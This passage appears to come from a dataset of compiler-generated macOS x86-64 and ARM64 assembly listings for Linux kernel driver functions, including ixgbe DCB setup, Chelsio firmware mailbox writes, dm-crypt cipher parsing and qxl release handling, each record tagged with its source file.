.no_dead_strip _ixgbe_dcbnl_ieee_setets
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function ixgbe_dcbnl_ieee_setets
_ixgbe_dcbnl_ieee_setets: ; @ixgbe_dcbnl_ieee_setets
.cfi_startproc
; %bb.0:
stp d11, d10, [sp, #-112]! ; 16-byte Folded Spill
stp d9, d8, [sp, #16] ; 16-byte Folded Spill
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset b8, -88
.cfi_offset b9, -96
.cfi_offset b10, -104
.cfi_offset b11, -112
mov x19, x1
mov x21, x0
bl _netdev_priv
ldr w8, [x0]
Lloh0:
adrp x9, _DCB_CAP_DCBX_VER_IEEE@GOTPAGE
Lloh1:
ldr x9, [x9, _DCB_CAP_DCBX_VER_IEEE@GOTPAGEOFF]
Lloh2:
ldr w9, [x9]
orr w8, w9, w8
cbz w8, LBB0_20
; %bb.1:
mov x20, x0
ldr w22, [x21]
Lloh3:
adrp x8, _ETH_HLEN@GOTPAGE
Lloh4:
ldr x8, [x8, _ETH_HLEN@GOTPAGEOFF]
Lloh5:
ldr w23, [x8]
Lloh6:
adrp x8, _ETH_FCS_LEN@GOTPAGE
Lloh7:
ldr x8, [x8, _ETH_FCS_LEN@GOTPAGEOFF]
Lloh8:
ldr w24, [x8]
ldr x0, [x0, #32]
Lloh9:
adrp x25, _IEEE_8021QAZ_MAX_TCS@GOTPAGE
Lloh10:
ldr x25, [x25, _IEEE_8021QAZ_MAX_TCS@GOTPAGEOFF]
cbnz x0, LBB0_7
; %bb.2:
Lloh11:
adrp x8, _GFP_KERNEL@GOTPAGE
Lloh12:
ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF]
Lloh13:
ldr w1, [x8]
mov w0, #8 ; =0x8
bl _kmalloc
str x0, [x20, #32]
cbz x0, LBB0_28
; %bb.3:
ldr w8, [x25]
ldr x1, [x0]
cmp w8, #1
b.lt LBB0_6
; %bb.4:
mov x9, #0 ; =0x0
LBB0_5: ; =>This Inner Loop Header: Depth=1
str w8, [x1, x9, lsl #2]
add x9, x9, #1
ldrsw x8, [x25]
cmp x9, x8
b.lt LBB0_5
LBB0_6:
add x0, x20, #16
bl _ixgbe_dcb_read_rtrup2tc
ldr x0, [x20, #32]
LBB0_7:
ldr w8, [x25]
cmp w8, #0
b.le LBB0_10
; %bb.8:
ldr x9, [x19]
ldr x10, [x0]
cmp w8, #16
b.hs LBB0_11
; %bb.9:
mov x11, #0 ; =0x0
mov x12, #0 ; =0x0
mov x25, #0 ; =0x0
b LBB0_14
LBB0_10:
mov x1, x19
mov w2, #8 ; =0x8
bl _memcpy
mov w26, #1 ; =0x1
b LBB0_18
LBB0_11:
movi.2d v0, #0000000000000000
and x11, x8, #0x7ffffff0
movi.2d v17, #0000000000000000
add x12, x10, #32
movi.2d v18, #0000000000000000
add x13, x9, #64
movi.2d v19, #0000000000000000
mov x14, x11
movi.2d v5, #0000000000000000
movi.2d v4, #0000000000000000
movi.2d v16, #0000000000000000
movi.2d v6, #0000000000000000
movi.2d v2, #0000000000000000
movi.2d v7, #0000000000000000
movi.2d v3, #0000000000000000
movi.2d v1, #0000000000000000
LBB0_12: ; =>This Inner Loop Header: Depth=1
ldp q21, q20, [x13, #-64]
ldp q23, q22, [x13, #-32]
ldp q25, q24, [x13]
ldp q27, q26, [x13, #32]
cmgt.2d v28, v20, v4
bit.16b v4, v20, v28
cmgt.2d v28, v21, v5
bit.16b v5, v21, v28
cmgt.2d v28, v22, v6
bit.16b v6, v22, v28
cmgt.2d v28, v23, v16
bit.16b v16, v23, v28
cmgt.2d v28, v24, v7
bit.16b v7, v24, v28
cmgt.2d v28, v25, v2
bit.16b v2, v25, v28
cmgt.2d v28, v26, v1
bit.16b v1, v26, v28
cmgt.2d v28, v27, v3
bit.16b v3, v27, v28
ldp q28, q29, [x12, #-32]
ldp q30, q31, [x12], #64
sshll.2d v8, v28, #0
sshll2.2d v28, v28, #0
sshll.2d v9, v29, #0
sshll2.2d v29, v29, #0
sshll.2d v10, v30, #0
sshll2.2d v30, v30, #0
sshll.2d v11, v31, #0
sshll2.2d v31, v31, #0
cmeq.2d v20, v20, v28
cmeq.2d v21, v21, v8
uzp1.4s v20, v21, v20
mvn.16b v20, v20
xtn.4h v20, v20
cmeq.2d v21, v22, v29
cmeq.2d v22, v23, v9
uzp1.4s v21, v22, v21
mvn.16b v21, v21
xtn.4h v21, v21
cmeq.2d v22, v24, v30
cmeq.2d v23, v25, v10
uzp1.4s v22, v23, v22
mvn.16b v22, v22
xtn.4h v22, v22
cmeq.2d v23, v26, v31
cmeq.2d v24, v27, v11
uzp1.4s v23, v24, v23
mvn.16b v23, v23
xtn.4h v23, v23
orr.8b v0, v0, v20
orr.8b v17, v17, v21
orr.8b v18, v18, v22
orr.8b v19, v19, v23
add x13, x13, #128
subs x14, x14, #16
b.ne LBB0_12
; %bb.13:
orr.8b v0, v17, v0
orr.8b v0, v18, v0
orr.8b v0, v19, v0
shl.4h v0, v0, #15
cmlt.4h v0, v0, #0
umaxv.4h h0, v0
fmov w12, s0
and x12, x12, #0x1
cmgt.2d v0, v5, v16
bsl.16b v0, v5, v16
cmgt.2d v5, v4, v6
bif.16b v4, v6, v5
cmgt.2d v5, v4, v7
bif.16b v4, v7, v5
cmgt.2d v5, v0, v2
bif.16b v0, v2, v5
cmgt.2d v2, v0, v3
bif.16b v0, v3, v2
cmgt.2d v2, v4, v1
bit.16b v1, v4, v2
cmgt.2d v2, v0, v1
bif.16b v0, v1, v2
ext.16b v1, v0, v0, #8
cmgt d2, d0, d1
bif.8b v0, v1, v2
fmov x25, d0
cmp x11, x8
b.eq LBB0_16
LBB0_14:
add x10, x10, x11, lsl #2
sub x8, x8, x11
add x9, x9, x11, lsl #3
LBB0_15: ; =>This Inner Loop Header: Depth=1
ldr x11, [x9], #8
cmp x11, x25
csel x25, x11, x25, gt
ldrsw x13, [x10], #4
cmp x11, x13
csinc x12, x12, xzr, eq
subs x8, x8, #1
b.ne LBB0_15
LBB0_16:
cmp x12, #0
cset w26, eq
mov x1, x19
mov w2, #8 ; =0x8
bl _memcpy
cbz x25, LBB0_18
; %bb.17:
add x1, x25, #1
b LBB0_19
LBB0_18:
mov x1, #0 ; =0x0
LBB0_19:
ldr x8, [x20, #24]
cmp x1, x8
b.le LBB0_23
LBB0_20:
Lloh14:
adrp x8, _EINVAL@GOTPAGE
Lloh15:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
LBB0_21:
ldr w8, [x8]
neg w0, w8
LBB0_22:
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp d9, d8, [sp, #16] ; 16-byte Folded Reload
ldp d11, d10, [sp], #112 ; 16-byte Folded Reload
ret
LBB0_23:
ldr x8, [x20, #8]
cmp x1, x8
b.ne LBB0_26
; %bb.24:
tbnz w26, #0, LBB0_27
; %bb.25:
mov x0, x21
bl _ixgbe_dcbnl_devreset
b LBB0_27
LBB0_26:
mov x0, x21
bl _ixgbe_setup_tc
cbnz w0, LBB0_22
LBB0_27:
add x0, x20, #16
add w8, w23, w22
add w2, w8, w24
mov x1, x19
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp d9, d8, [sp, #16] ; 16-byte Folded Reload
ldp d11, d10, [sp], #112 ; 16-byte Folded Reload
b _ixgbe_dcb_hw_ets
LBB0_28:
Lloh16:
adrp x8, _ENOMEM@GOTPAGE
Lloh17:
ldr x8, [x8, _ENOMEM@GOTPAGEOFF]
b LBB0_21
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGot Lloh9, Lloh10
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13
.loh AdrpLdrGot Lloh14, Lloh15
.loh AdrpLdrGot Lloh16, Lloh17
.cfi_endproc
; -- End function
.comm _ETH_HLEN,4,2 ; @ETH_HLEN
.comm _ETH_FCS_LEN,4,2 ; @ETH_FCS_LEN
.comm _DCB_CAP_DCBX_VER_IEEE,4,2 ; @DCB_CAP_DCBX_VER_IEEE
.comm _EINVAL,4,2 ; @EINVAL
.comm _GFP_KERNEL,4,2 ; @GFP_KERNEL
.comm _ENOMEM,4,2 ; @ENOMEM
.comm _IEEE_8021QAZ_MAX_TCS,4,2 ; @IEEE_8021QAZ_MAX_TCS
.no_dead_strip _ixgbe_dcbnl_ieee_setets
.subsections_via_symbols
| assembly_file_152676.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function select_proxy
_select_proxy: ## @select_proxy
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %edx, %r14d
movl (%rcx), %eax
xorl %edx, %edx
cmpl %r14d, %eax
jae LBB0_1
## %bb.2:
movq %rsi, %rbx
cmpl $128, %edi
je LBB0_7
## %bb.3:
cmpl $129, %edi
jne LBB0_12
## %bb.4:
movq _PLAY_STATE@GOTPCREL(%rip), %rdx
movq (%rdx), %rdx
leaq (%rbx,%rax,8), %rsi
.p2align 4, 0x90
LBB0_5: ## =>This Inner Loop Header: Depth=1
cmpq %rdx, (%rsi)
je LBB0_6
## %bb.10: ## in Loop: Header=BB0_5 Depth=1
incl %eax
addq $8, %rsi
cmpl %eax, %r14d
jne LBB0_5
## %bb.11:
movl %r14d, %edx
jmp LBB0_12
LBB0_1:
xorl %eax, %eax
jmp LBB0_13
LBB0_7:
imull $100, %r14d, %r15d
movl $-1, %eax
movq _PLAY_STATE@GOTPCREL(%rip), %r12
.p2align 4, 0x90
LBB0_8: ## =>This Inner Loop Header: Depth=1
movl %eax, %r13d
xorl %eax, %eax
callq _rand
xorl %edx, %edx
divl %r14d
## kill: def $edx killed $edx def $rdx
movq (%rbx,%rdx,8), %rcx
leal -1(%r13), %eax
cmpq (%r12), %rcx
jne LBB0_8
## %bb.9: ## in Loop: Header=BB0_8 Depth=1
cmpl %r15d, %r13d
jb LBB0_8
jmp LBB0_12
LBB0_6:
movl %eax, (%rcx)
movl %eax, %edx
LBB0_12:
xorl %eax, %eax
cmpl %r14d, %edx
cmovael %eax, %edx
leaq (%rbx,%rdx,8), %rcx
movq (%rbx,%rdx,8), %rdx
movq _PLAY_STATE@GOTPCREL(%rip), %rsi
cmpq (%rsi), %rdx
cmoveq %rcx, %rax
LBB0_13:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _PLAY_STATE,8,3 ## @PLAY_STATE
.no_dead_strip _select_proxy
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function select_proxy
_select_proxy: ; @select_proxy
.cfi_startproc
; %bb.0:
ldr w8, [x3]
cmp w8, w2
b.hs LBB0_7
; %bb.1:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x20, x2
mov x19, x1
Lloh0:
adrp x21, _PLAY_STATE@GOTPAGE
Lloh1:
ldr x21, [x21, _PLAY_STATE@GOTPAGEOFF]
cmp w0, #128
b.eq LBB0_8
; %bb.2:
cmp w0, #129
b.ne LBB0_10
; %bb.3:
ldr x9, [x21]
add x10, x19, x8, lsl #3
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldr x11, [x10], #8
cmp x11, x9
b.eq LBB0_11
; %bb.5: ; in Loop: Header=BB0_4 Depth=1
add w8, w8, #1
cmp w20, w8
b.ne LBB0_4
; %bb.6:
mov x8, x20
b LBB0_12
LBB0_7:
mov x0, #0 ; =0x0
ret
LBB0_8:
mov w8, #100 ; =0x64
mul w22, w20, w8
mov w23, #-1 ; =0xffffffff
LBB0_9: ; =>This Inner Loop Header: Depth=1
bl _rand
udiv w8, w0, w20
msub w8, w8, w20, w0
ldr x9, [x19, w8, uxtw #3]
ldr x10, [x21]
cmp x9, x10
ccmp w23, w22, #0, eq
sub w23, w23, #1
b.lo LBB0_9
b LBB0_12
LBB0_10:
mov w8, #0 ; =0x0
b LBB0_12
LBB0_11:
str w8, [x3]
LBB0_12:
cmp w8, w20
csel w8, w8, wzr, lo
add x8, x19, w8, uxtw #3
ldr x9, [x8]
ldr x10, [x21]
cmp x9, x10
csel x0, x8, xzr, eq
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.comm _PLAY_STATE,8,3 ; @PLAY_STATE
.no_dead_strip _select_proxy
.subsections_via_symbols
| assembly_file_43335.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _t4_fwaddrspace_write ## -- Begin function t4_fwaddrspace_write
.p2align 4, 0x90
_t4_fwaddrspace_write: ## @t4_fwaddrspace_write
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $72, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %ecx, %r13d
movl %edx, %ebx
movl %esi, %r14d
movq %rdi, %r12
leaq -72(%rbp), %rdi
xorl %esi, %esi
movl $32, %edx
callq _memset
movq _FW_LDST_ADDRSPC_FIRMWARE@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _FW_LDST_CMD_ADDRSPACE_V
movl %eax, %r15d
movq _FW_LDST_CMD@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _FW_CMD_OP_V
movq _FW_CMD_REQUEST_F@GOTPCREL(%rip), %rcx
movq _FW_CMD_WRITE_F@GOTPCREL(%rip), %rdx
orl %eax, %r15d
orl (%rcx), %r15d
orl (%rdx), %r15d
movl %r15d, %edi
callq _cpu_to_be32
movq %rax, -48(%rbp)
movups -72(%rbp), %xmm0
movups -56(%rbp), %xmm1
movups %xmm1, 16(%rsp)
movups %xmm0, (%rsp)
callq _FW_LEN16
movl %eax, %edi
callq _cpu_to_be32
movq %rax, -56(%rbp)
movl %ebx, %edi
callq _cpu_to_be32
movq %rax, -64(%rbp)
movl %r13d, %edi
callq _cpu_to_be32
movq %rax, -72(%rbp)
movq %r12, %rdi
movl %r14d, %esi
leaq -72(%rbp), %rdx
movl $32, %ecx
xorl %r8d, %r8d
callq _t4_wr_mbox
addq $72, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _FW_LDST_ADDRSPC_FIRMWARE,4,2 ## @FW_LDST_ADDRSPC_FIRMWARE
.comm _FW_LDST_CMD,4,2 ## @FW_LDST_CMD
.comm _FW_CMD_REQUEST_F,4,2 ## @FW_CMD_REQUEST_F
.comm _FW_CMD_WRITE_F,4,2 ## @FW_CMD_WRITE_F
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _t4_fwaddrspace_write ; -- Begin function t4_fwaddrspace_write
.p2align 2
_t4_fwaddrspace_write: ; @t4_fwaddrspace_write
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x24, x23, [sp, #64] ; 16-byte Folded Spill
stp x22, x21, [sp, #80] ; 16-byte Folded Spill
stp x20, x19, [sp, #96] ; 16-byte Folded Spill
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x21, x3
mov x22, x2
mov x19, x1
mov x20, x0
add x0, sp, #32
mov w1, #0
mov w2, #32
bl _memset
Lloh0:
adrp x8, _FW_LDST_ADDRSPC_FIRMWARE@GOTPAGE
Lloh1:
ldr x8, [x8, _FW_LDST_ADDRSPC_FIRMWARE@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
bl _FW_LDST_CMD_ADDRSPACE_V
mov x23, x0
Lloh3:
adrp x8, _FW_LDST_CMD@GOTPAGE
Lloh4:
ldr x8, [x8, _FW_LDST_CMD@GOTPAGEOFF]
Lloh5:
ldr w0, [x8]
bl _FW_CMD_OP_V
Lloh6:
adrp x8, _FW_CMD_REQUEST_F@GOTPAGE
Lloh7:
ldr x8, [x8, _FW_CMD_REQUEST_F@GOTPAGEOFF]
Lloh8:
ldr w8, [x8]
Lloh9:
adrp x9, _FW_CMD_WRITE_F@GOTPAGE
Lloh10:
ldr x9, [x9, _FW_CMD_WRITE_F@GOTPAGEOFF]
Lloh11:
ldr w9, [x9]
orr w10, w0, w23
orr w8, w10, w8
orr w0, w8, w9
bl _cpu_to_be32
str x0, [sp, #56]
ldp q0, q1, [sp, #32]
stp q0, q1, [sp]
mov x0, sp
bl _FW_LEN16
bl _cpu_to_be32
str x0, [sp, #48]
mov x0, x22
bl _cpu_to_be32
str x0, [sp, #40]
mov x0, x21
bl _cpu_to_be32
str x0, [sp, #32]
add x2, sp, #32
mov x0, x20
mov x1, x19
mov w3, #32
mov x4, #0
bl _t4_wr_mbox
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
ldp x20, x19, [sp, #96] ; 16-byte Folded Reload
ldp x22, x21, [sp, #80] ; 16-byte Folded Reload
ldp x24, x23, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #128
ret
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _FW_LDST_ADDRSPC_FIRMWARE,4,2 ; @FW_LDST_ADDRSPC_FIRMWARE
.comm _FW_LDST_CMD,4,2 ; @FW_LDST_CMD
.comm _FW_CMD_REQUEST_F,4,2 ; @FW_CMD_REQUEST_F
.comm _FW_CMD_WRITE_F,4,2 ; @FW_CMD_WRITE_F
.subsections_via_symbols
| AnghaBench/linux/drivers/net/ethernet/chelsio/cxgb4/extr_t4_hw.c_t4_fwaddrspace_write.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function crypt_ctr_auth_cipher
_crypt_ctr_auth_cipher: ## @crypt_ctr_auth_cipher
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r15
movq %rdi, %rbx
leaq L_.str(%rip), %rsi
movq %r15, %rdi
callq _strstarts
testl %eax, %eax
je LBB0_1
## %bb.2:
movq %r15, %rdi
movl $40, %esi
callq _strchr
movq %rax, %r14
movq %r15, %rdi
movl $44, %esi
callq _strchr
movq %r14, %rcx
orq %rax, %rcx
je LBB0_4
## %bb.3:
incq %r14
cmpq %rax, %r14
jbe LBB0_5
LBB0_4:
movq _EINVAL@GOTPCREL(%rip), %rcx
LBB0_9:
xorl %eax, %eax
subl (%rcx), %eax
jmp LBB0_10
LBB0_1:
xorl %eax, %eax
LBB0_10:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_5:
subl %r14d, %eax
movq %rax, %r12
leal -1(%rax), %edi
movq _GFP_KERNEL@GOTPCREL(%rip), %r13
movl (%r13), %esi
callq _kzalloc
testq %rax, %rax
je LBB0_8
## %bb.6:
movq %rax, %r15
movq %rax, %rdi
movq %r14, %rsi
movl %r12d, %edx
callq _strncpy
movq %r15, %rdi
xorl %esi, %esi
xorl %edx, %edx
callq _crypto_alloc_ahash
movq %rax, %r14
movq %r15, %rdi
callq _kfree
movq %r14, %rdi
callq _IS_ERR
testq %rax, %rax
je LBB0_7
## %bb.11:
movq %r14, %rdi
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
jmp _PTR_ERR ## TAILCALL
LBB0_7:
movq %r14, %rdi
callq _crypto_ahash_digestsize
movl %eax, 4(%rbx)
movq %r14, %rdi
callq _crypto_free_ahash
movq %rbx, %rdi
callq _crypt_authenckey_size
movl (%r13), %esi
movl %eax, %edi
callq _kmalloc
movl %eax, (%rbx)
testl %eax, %eax
movl $0, %eax
jne LBB0_10
LBB0_8:
movq _ENOMEM@GOTPCREL(%rip), %rcx
jmp LBB0_9
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "authenc("
.comm _EINVAL,4,2 ## @EINVAL
.comm _GFP_KERNEL,4,2 ## @GFP_KERNEL
.comm _ENOMEM,4,2 ## @ENOMEM
.no_dead_strip _crypt_ctr_auth_cipher
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function crypt_ctr_auth_cipher
_crypt_ctr_auth_cipher: ; @crypt_ctr_auth_cipher
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x20, x1
mov x19, x0
Lloh0:
adrp x1, l_.str@PAGE
Lloh1:
add x1, x1, l_.str@PAGEOFF
mov x0, x20
bl _strstarts
cbz w0, LBB0_5
; %bb.1:
mov x0, x20
mov w1, #40 ; =0x28
bl _strchr
mov x21, x0
mov x0, x20
mov w1, #44 ; =0x2c
bl _strchr
orr x8, x21, x0
cbz x8, LBB0_3
; %bb.2:
add x20, x21, #1
cmp x20, x0
b.ls LBB0_6
LBB0_3:
Lloh2:
adrp x8, _EINVAL@GOTPAGE
Lloh3:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
LBB0_4:
ldr w8, [x8]
neg w0, w8
LBB0_5:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
LBB0_6:
sub w21, w0, w20
sub w0, w21, #1
Lloh4:
adrp x23, _GFP_KERNEL@GOTPAGE
Lloh5:
ldr x23, [x23, _GFP_KERNEL@GOTPAGEOFF]
ldr w1, [x23]
bl _kzalloc
cbz x0, LBB0_11
; %bb.7:
mov x22, x0
mov x1, x20
mov x2, x21
bl _strncpy
mov x0, x22
mov w1, #0 ; =0x0
mov w2, #0 ; =0x0
bl _crypto_alloc_ahash
mov x20, x0
mov x0, x22
bl _kfree
mov x0, x20
bl _IS_ERR
cbz x0, LBB0_9
; %bb.8:
mov x0, x20
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
b _PTR_ERR
LBB0_9:
mov x0, x20
bl _crypto_ahash_digestsize
str w0, [x19, #4]
mov x0, x20
bl _crypto_free_ahash
mov x0, x19
bl _crypt_authenckey_size
ldr w1, [x23]
bl _kmalloc
str w0, [x19]
cbz w0, LBB0_11
; %bb.10:
mov w0, #0 ; =0x0
b LBB0_5
LBB0_11:
Lloh6:
adrp x8, _ENOMEM@GOTPAGE
Lloh7:
ldr x8, [x8, _ENOMEM@GOTPAGEOFF]
b LBB0_4
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh4, Lloh5
.loh AdrpLdrGot Lloh6, Lloh7
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "authenc("
.comm _EINVAL,4,2 ; @EINVAL
.comm _GFP_KERNEL,4,2 ; @GFP_KERNEL
.comm _ENOMEM,4,2 ; @ENOMEM
.no_dead_strip _crypt_ctr_auth_cipher
.subsections_via_symbols
| assembly_file_76743.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _qxl_release_free ## -- Begin function qxl_release_free
.p2align 4, 0x90
_qxl_release_free: ## @qxl_release_free
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rsi, %rbx
movq %rdi, %r14
movl 12(%rsi), %esi
movl 24(%rbx), %edx
leaq L_.str(%rip), %rdi
callq _DRM_DEBUG_DRIVER
movq 16(%rbx), %rsi
testq %rsi, %rsi
je LBB0_2
## %bb.1:
movq %r14, %rdi
callq _qxl_surface_id_dealloc
LBB0_2:
movq %r14, %rdi
callq _spin_lock
leaq 4(%r14), %rdi
movl 12(%rbx), %esi
callq _idr_remove
movq %r14, %rdi
callq _spin_unlock
cmpq $0, (%rbx)
je LBB0_4
## %bb.3:
leaq 8(%rbx), %rdi
callq _list_empty
movl %eax, %edi
callq _WARN_ON
movq %rbx, %rdi
callq _qxl_release_free_list
movq %rbx, %rdi
callq _dma_fence_signal
movq %rbx, %rdi
popq %rbx
popq %r14
popq %rbp
jmp _dma_fence_put ## TAILCALL
LBB0_4:
movq %rbx, %rdi
callq _qxl_release_free_list
movq %rbx, %rdi
popq %rbx
popq %r14
popq %rbp
jmp _kfree ## TAILCALL
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "release %d, type %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _qxl_release_free ; -- Begin function qxl_release_free
.p2align 2
_qxl_release_free: ; @qxl_release_free
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
mov x20, x0
ldr w1, [x1, #12]
ldr w2, [x19, #24]
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _DRM_DEBUG_DRIVER
ldr x1, [x19, #16]
cbz x1, LBB0_2
; %bb.1:
mov x0, x20
bl _qxl_surface_id_dealloc
LBB0_2:
mov x0, x20
bl _spin_lock
add x0, x20, #4
ldr w1, [x19, #12]
bl _idr_remove
mov x0, x20
bl _spin_unlock
ldr x8, [x19]
cbz x8, LBB0_4
; %bb.3:
add x0, x19, #8
bl _list_empty
bl _WARN_ON
mov x0, x19
bl _qxl_release_free_list
mov x0, x19
